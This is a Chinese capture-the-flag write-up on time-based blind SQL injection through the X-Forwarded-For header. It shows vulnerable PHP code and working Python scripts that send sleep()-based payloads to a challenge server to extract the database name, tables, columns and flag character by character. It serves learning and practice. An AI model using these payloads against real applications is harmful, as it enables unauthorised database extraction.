时间盲注典例
思路
1、分析给出的源码,找出注入点
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
大致意思是,如果X-Forwarded-For为空,就返回REMOTE_ADDR的ip,不为空就返回X_FORWARDED_FOR里的ip,并将这一ip插入到client_ip这一列里。
很明显,注入点就在请求头X-Forwarded-For这里。
2、分析sql注入类型
因为注入点在X-Forwarded-For这里,注入之后只会回显信息,不会有报错提醒,因此,考虑时间盲注。
3、破数据库名
import requests
import sys
url="http://123.206.87.240:8002/web15/"
database_name=''
sql="'+(select case when (substr((select database()) from {0} for 1)='{1}') then sleep(4) else 1 end) and '1'='1"
#逐个字母破解数据库名,结尾的and '1'='1缺省得不出正确结果,不晓得为什么,还求大佬指教,{0}、{1}相当于标记了两处变量,用于下面的format语句
for i in range(1,10): #猜测数据库名在9个字符以内
print(i)
for ch in range(32,129): #通过循环,逐个字母匹配
if ch==128:
sys.exit(0) #如果一直没匹配上就退出循环,主要是以防万一,不加也没关系
header={'X-Forwarded-For':sql.format(i,chr(ch))}
#format()--输入:一个sql的字符串,格式任意或者比较乱 输出:一个相对有规则(缩进、换行)的sql-format的字符串
这里主要用来实现变量替换
try:
ans=requests.get(url,headers=header,timeout=3)
except:
database_name+=chr(ch)
print(database_name)
break # 匹配到正确字符就跳出循环
结果:
4、破表名
几个破解思路都一样,只有sql不同
import requests
import sys
url="http://123.206.87.240:8002/web15/"
table_name=''
sql="'+(select case when (substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from {0} for 1)='{1}') then sleep(4) else 1 end) and '1'='1"
for i in range(1,20):
print(i)
for ch in range(32,129):
header={'X-Forwarded-For':sql.format(i,chr(ch))}
try:
ans=requests.get(url,headers=header,timeout=3)
except:
table_name+=chr(ch)
print(table_name)
break
结果:
当i=10时,是一个逗号,但是逗号被省略了(源码可知)
5、破字段名
column_name=''
sql="'+(select case when(substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from {0} for 1)='{1}') then sleep(4) else 1 end) and '1'='1"
for i in range(1,10):
print(i)
for ch in range(32,129):
if ch==128:
sys.exit(0)
header={'X-Forwarded-For':sql.format(i,chr(ch))}
try:
ans=requests.get(url,headers=header,timeout=3)
except:
column_name+=chr(ch)
print(column_name)
break
结果:
6、破flag
flag=''
sql="'+(select case when (substr((select flag from flag) from {0} for 1)='{1}') then sleep(4) else 1 end) and '1'='1"
for i in range(1,34):
print(str(i))
for ch in range(32,129):
if ch==128:
sys.exit(0)
sqli=sql.format(i,chr(ch))
print(sqli)
header={'X-Forwarded-For':sqli}
try:
html=requests.get(url,headers=header,timeout=3)
except:
flag+=chr(ch)
print(flag)
break
结果太长了,就不放图了
新姿势
1、sql时间盲注(终于完整的解了一次)
2、python小知识
- sys.exit(0) ---- 优雅的退出程序,详见 https://blog.csdn.net/zyl_wjl_1413/article/details/84202738
- timeout ---- 超时即报错
- format()—字符串的格式化
- try/except ---- 处理报错,详见
https://blog.csdn.net/zyl_wjl_1413/article/details/84202714